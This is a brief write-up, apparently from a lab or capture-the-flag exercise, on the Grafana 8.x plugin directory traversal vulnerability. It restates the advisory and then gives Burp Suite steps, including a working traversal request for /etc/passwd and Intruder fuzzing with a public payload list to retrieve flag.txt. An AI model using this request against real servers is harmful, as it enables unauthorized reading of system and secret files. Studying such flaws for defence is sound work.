Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: <grafana_host_url>/public/plugins//
, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
Using Burp Suite
Send GET to repeater
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Then send to intruder GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
Using Sniper to ATTACK Payload copy from github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
Paypload processing Match [{FILE]} replace with {flag.txt}